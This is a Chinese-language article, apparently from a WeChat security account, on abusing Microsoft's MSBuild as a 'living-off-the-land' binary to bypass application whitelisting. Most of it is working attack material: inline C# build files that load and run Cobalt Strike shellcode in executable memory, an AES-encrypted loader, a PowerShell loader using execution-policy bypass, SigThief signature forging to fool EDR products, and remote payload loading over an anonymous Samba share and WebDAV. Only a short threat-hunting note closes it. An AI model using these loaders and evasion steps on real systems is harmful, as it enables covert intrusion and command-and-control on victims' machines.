白加黑(白利用)的概念进行涵盖用一个全新的名字进行描述,那就是LOLBins,全称“Living-Off-the-Land Binaries”,直白翻译为“生活在陆地上的二进制“,这个概念最初在2013年DerbyCon黑客大会由Christopher Campbell和Matt Graeber进行创造,最终Philip Goh提出了LOLBins这个概念。随后进行广泛的互联网民意调查,并在达成普遍共识(69%)之后,该名称被正式指定。
1. LOLBins
一个 LOLBin/Lib/Script 必须:
-
是 Microsoft 签名的文件,可以是操作系统的本地文件,也可以是从 Microsoft 下载的文件。
-
具有额外的“意外”功能。记录预期使用案例并不感兴趣。
-
例外是应用程序白名单绕过
-
具有对 APT 或红队有用的功能
“意外”的功能可以包括:
-
执行代码
-
任意代码执行
-
其他程序(未签名)或脚本(通过 LOLBin)的直通执行
-
编译代码
-
文件操作
-
下载
-
上传
-
复制
-
持久化
-
利用现有 LOLBin 的传递持久化
-
持久化(例如在 ADS 中隐藏数据,在登录时执行)
-
绕过UAC
-
凭据盗窃
-
转储进程内存
-
监控(例如键盘记录器、网络跟踪)
-
日志修改
-
DLL 旁路加载/劫持,无需重新定位到文件系统中的其他位置
2. MSBuild
Microsoft 生成引擎是一个用于生成应用程序的平台。此引擎(也称为 MSBuild)为项目文件提供了一个 XML 架构,用于控制生成平台处理和生成软件的方式。Visual Studio 会使用 MSBuild,但 MSBuild 不依赖于 Visual Studio。通过在项目或解决方案文件中调用 msbuild.exe,可以在未安装 Visual Studio 的环境中安排和生成产品。
MSBuild 于 2003 年首次创建,面向.NET Framework 2.0,用于Visual Studio 2005(代号 Whidbey)和Windows Vista(代号 Longhorn)。
常存在于以下目录:
C:WindowsMicrosoft.NETFrameworkv2.0.50727Msbuild.exe
C:WindowsMicrosoft.NETFramework64v2.0.50727Msbuild.exe
C:WindowsMicrosoft.NETFrameworkv3.5Msbuild.exe
C:WindowsMicrosoft.NETFramework64v3.5Msbuild.exe
C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe
C:WindowsMicrosoft.NETFramework64v4.0.30319Msbuild.exe
MSBuild基本概念
3. MSBuild基本概念
MSBuild有四个基本块(属性、项、任务、目标):
-
MSBuild 属性: 属性是一些键/值对,主要用来存储一些配置信息。使用环境变量、保留属性、全局属性。
-
MSBuild 项: 主要是存储一些项目文件信息,以及文件的元数据信息(如版本号)。
-
MSBuild 任务: Build过程中的一些原子操作(如CSC、MakeDir),Task接口、UsingTask[自定义任务]、ContinueOnError。
-
MSBuild 目标: 按特定的顺序将任务组织在一起,并允许在命令行单独指定各个部分。初始目标、默认目标、目标依赖项。
大多数的项目模版生成的*.*proj文件中比较常见一些用法和概念:
-
MSBuild 特殊字符:MSBuild保留的一些字符,以及XML中的特殊字符处理。
-
MSBuild 条件: Condition特性,作用类似于C#的if。
-
Import 元素: 导入项目文件到当前项目文件。
总结MSBuild的作用:利用配置信息对项目文件实施特定顺序的操作。
4. MSBuild利用过程
4.1 Direct execution
使用 /target(或 /t)和 /property(或 /p)命令行选项可替代项目文件中指定的特定属性和目标 。
msbuild.exe [project_file] [options]
AWL bypass(Application White Listing Bypass)
构建并执行存储在目标 XML 文件中的 C# 项目。
msbuild.exe pshell.xml
用例:编译和运行代码
所需权限:用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10
先使用CS生成C#的shellcode:
编写demo_exec_shellcode.xml,重写execute函数:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[] { 0 };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
目标机器执行命令:
C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe .demo_exec_shellcode.xml
MSbuild被微软验证过:
CS上线:
4.2 shellcode加密执行
先用Gzip压缩shellcode,再使用AES-128加密,然后编码为base64,解密反之。
编写encryto_shellcode.xml用来生成base64_shellcode,shellcode为CS生成的马 执行命令生成加密后的password 和 shellcode
C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe .encrypto_shellcode.xml
将生成好的password 和 shellcode,复制到demo_exec_aes_shellcode.xml中
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\WindowsMicrosoft.NetFrameworkv4.0.30319Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
string base64_password = "H4sIAAAAAAAEAA..........................KxkQAAAA";
string base64_shellcode = "H4sIAAAAAAAEAA.........................IAMAAA==";
byte[] password = Gzip.Decompress(Convert.FromBase64String(base64_password));
byte[] unpacked = Gzip.Decompress(Convert.FromBase64String(base64_shellcode));
byte[] shellcode = Crypto.Decrypt(unpacked, password);
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
public static class Extensions
{
public static T[] SubArray<T>(this T[] array, int offset, int length)
{
T[] result = new T[length];
Array.Copy(array, offset, result, 0, length);
return result;
}
}
class Crypto
{
public static byte[] Decrypt(byte[] data, byte[] key)
{
using (var aes = Aes.Create())
{
aes.KeySize = 128;
aes.BlockSize = 128;
aes.Padding = PaddingMode.PKCS7;
aes.Key = key;
aes.IV = key.SubArray(0, 16);
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}
private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
}
class Gzip
{
public static byte[] Decompress(byte[] inputBytes)
{
try
{
using (var inputStream = new MemoryStream(inputBytes))
using (var gZipStream = new GZipStream(inputStream, CompressionMode.Decompress))
using (var outputStream = new MemoryStream())
{
gZipStream.CopyTo(outputStream);
return outputStream.ToArray();
}
}
catch
{
return null;
}
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
在目标机器执行命令
C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe .demo_exec_aes_shellcode.xml
上线CS:
删除任何输出并指定构建配置,控制台不会打印任何执行时的信息:
C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe .demo_exec_aes_shellcode.xml /noconsolelogger /nologo /p:Configuration=Release
4.3 MSBuild with PowerShell
使用PowerShell脚本反射调用MSBuild,只用4行即可,例如MSBuild.ps1:
$path = "C:tmpMSBuilddemo_exec_shellcode.xml"
[Reflection.Assembly]::LoadWithPartialName('Microsoft.Build');
$eval = new-object Microsoft.Build.Evaluation.Project($path);
$eval.Build();
注意这里调用的是x64的PowerShell,为了演示,没有使用 -w hidden选项:
C:windowssyswow64WindowsPowerShellv1.0PowerShell.exe -NoP -NonI -exec bypass .MSBuild.ps1
4.4 MSBuild without MSBuild.exe
构建并执行存储在目标 csproj 文件中的 C# 项目。
msbuild.exe project.csproj
用例:编译和运行代码
所需权限:用户
操作系统:Windows vista、Windows 7、Windows 8、Windows 8.1、Windows 10
Rvrsh3ll其中共享了NoMSBuild。通过Microsoft.Build.Evaluation命名空间并且可以直接调用MSBuild。
编写SharpBuild.cs,通过Microsoft.Build.Evaluation调用MSBuild
using System;
using Microsoft.Build.Evaluation;
namespace SharpBuild
{
class Program
{
static void Main(string[] args)
{
string path = @"C:tmpMSBuilddemo_exec_shellcode.xml";
ProjectCollection collection = new ProjectCollection();
if (collection.LoadProject(path).Build())
{
Console.WriteLine("built");
}
else
{
Console.WriteLine("error");
}
}
}
}
通过MSBuild本地编译SharpBuild.cs为exe文件。
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<!--指定要编译的文件-->
<CSFile Include="SharpBuild.cs"/>
</ItemGroup>
<Target Name="build">
<!--使用Csc任务,对应csc编译器-->
<!--Sources属性表示要编译的文件集合-->
<!--TargetType表示编译目标类型,对应csc编译器的/target参数-->
<Csc Sources="@(CSFile)"
TargetType="exe">
<!--OutputAssembly为csc的输出参数-->
<!--PropertyName表示把TaskParameter属性所指定的输出参数的值存储到outputExeName这个属性中-->
<!--Output还有一个ItemName属性,表示存储到一个项中-->
<Output TaskParameter="OutputAssembly" PropertyName="outputExeFileName"/>
</Csc>
<!--Message任务就可以使用csc所导出的属性outputExeFileName了-->
<!--输出SharpBuild.exe-->
<Message Text="$(outputExeFileName)"/>
<!--Exec任务可以运行带有指定程序(可加参数)或命令-->
<!--运行刚从SharpBuild.cs源文件编译好的程序-->
<!--运行结果为"MSBuild组织编译"-->
<Exec Command="$(outputExeFileName)"></Exec>
</Target>
</Project>
执行命令编译成exe
C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe .SharpBuild.csproj
利用MSbuild发现编译失败,提示Microsoft命名空间里没有build
查官方文档发现microsoft.build.evaluation.project.build,只在MSBuild 15和16版本中存在
在github上下载MSBuild 16项目,安装一个16版本的个MSBuild.exe。或者,直接用csc.exe编译SharpBuild.cs:
C:WindowsMicrosoft.NetFrameworkv4.0.30319csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.dll";"Microsoft.Build.Engine.dll";"Microsoft.Build.Utilities.v4.0.dll";"System.Runtime.dll" /target:exe /platform:x86 SharpBuild.cs
编译好的SharpBuild.exe编译后没有了数字签名,本身白利用就是因为要利用受信的二进制文件去执行恶意操作,实际上这种MSBuild without MSBuild.exe又放弃了这个特性。
但是,可以伪造一个数字签名,因为有些EDR,仅仅验证是否有签名,而非验证签名是否有效。
有些EDR在不检查签名是否实际有效的情况下,优先考虑某些证书颁发机构,而有些EDR只是检查 certTable 是否填充了某些值。
SigThief工具可以伪造数字签名,当然,这不是有效的签名。
从二进制文件获得签名并将其添加到另一个二进制文件
./sigthief.py -i tcpview.exe -t x86_meterpreter_stager.exe -o /tmp/msftesting_tcpview.exe
以SharpBuild.exe为例,获取MSBuild.exe的签名,添加到SharpBuild.exe上
python sigthief.py -i "C://Windows/Microsoft.NET/Framework/v4.0.30319/MSBuild.exe" -t "D://Git_ProjectD/ttpskb/Defense Evasion/LOLBins/MSBuild/tools/MSBuild_without_MSBuild.exe/SharpBuild/SharpBuild.exe" -o "D://Git_ProjectD/ttpskb/Defense Evasion/LOLBins/MSBuild/tools/MSBuild_without_MSBuild.exe/SharpBuild/SharpBuild_sign.exe"
SharpBuild.exe已经有了数字签名,但不是有效的数字签名。
4.5 UNC Inject
到目前为止,所有内容都要求 *.xml 上传至目标机器的磁盘上。下面介绍一下远程加载*.xml或者*.csproj文件方式。
安装samba
apt-get install samba
配置samba
cd /etc/samba
cp smb.conf smb.conf.bak
echo "" > smb.conf
vim smb.conf
smb.conf:
map to guest = bad user
[Share]
path = /opt/share
public = yes
writable = yes
available = yes
browseable = yes
启动samba服务器
service nmbd start
service smbd start
执行命令,加载远程xml文件
C:WindowsMicrosoft.NETFrameworkv4.0.30319Msbuild.exe \10.251.0.33sharedemo_exec_aes_shellcode.xml
执行报错,是因为虽然samba设置了允许匿名访问,但是目录和文件没有给匿名用户nobody使用权限
chmod 777 /opt/share
chmod 777 demo_exec_aes_shellcode.xml
再次执行,CS成功上线
4.6 WebDAV
HTTP/WebDAV推荐使用pwndrop工具。
.NET
using (var client = new WebClient())
{
client.DownloadFile("https://notac2.com/notapayload.xml", "\some\path");
}
PowerShell
$client = new-object System.Net.WebClient
$client.DownloadFile('URL', '保存位置/文件名称.文件类型')
5. Conclusion
简单总结一下,上述所有攻击利用方式的优缺点
利用方式 | 落盘情况 | 优点 | 缺点 |
---|---|---|---|
Direct execution | xml/csproj文件 | 使用简单,在编译不报错的情况下不会在tmp目录下生成源代码的txt文件 | 需要提前上传xml文件和一个命令执行漏洞调用MSBuild.exe |
MSBuild with PowerShell | xml/csproj文件和ps1脚本 | 通过PoweShell调用MSBuild API,执行过程中没有MSBuild进程,可编写成ps1脚本执行 | 遇到无脑杀PowerShell的EDR,就适得其反,需要落盘2个文件,动作太大。 |
MSBuild without MSBuild.exe | xml/csproj文件和exe文件 | 将调用MSBuild API的cs提前编译为exe文件,在目标机器上执行 | 需要落盘2个文件,动作太大。exe没有签名,相当于放弃了白加黑最大的优势。 |
UNC Inject | 无文件 | 远程加载xml/csproj,只要编译不报错,就无无文件落地 | 进程中会一直存在MSBuild.exe,隐蔽性不强,一般来说MSBuild.exe不应该一直存在。 |
WebDAV/HTTP | xml/csproj文件 | 用WebDAV/HTTP方式远程加载文件,无需考虑如何上传文件 | 需要落盘2个文件,动作太大。 |
6. Threat Hunting
如果在目标机器上编译失败/报错,在目标机器默认的tmp目录下会生成一个.txt文件里面包含了 C# 源码和报错信息。
C:UsersAdministratorAppDataLocalTemp1
reference
https://lolbas-project.github.io/lolbas/Binaries/Msbuild/
https://docs.microsoft.com/zh-cn/visualstudio/msbuild/msbuild
https://docs.microsoft.com/en-us/visualstudio/msbuild/build-process-overview?view=vs-2019
https://docs.microsoft.com/zh-cn/dotnet/api/system.console.write?view=net-5.0
https://gigi.nullneuron.net/gigilabs/compressing-strings-using-gzip-in-c/
https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/
https://www.hackingarticles.in/bypass-application-whitelisting-using-msbuild-exe-multiple-methods/
https://blog.talosintelligence.com/2020/02/building-bypass-with-msbuild.html
https://fortynorthsecurity.com/blog/remotely-host-msbuild-payloads/
https://pentestlaboratories.com/2020/01/27/msbuild-without-msbuild/
https://github.com/rvrsh3ll/MSBuildAPICaller
https://rastamouse.me/2019/06/tikispawn-msbuild/
https://www.secarma.com/three-ways-of-using-msbuild-to-beat-crowdstrike/
https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0
https://github.com/kgretzky/pwndrop
https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation
原文始发于微信公众号(TahirSec):Windows | MSBuild 白加黑利用分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论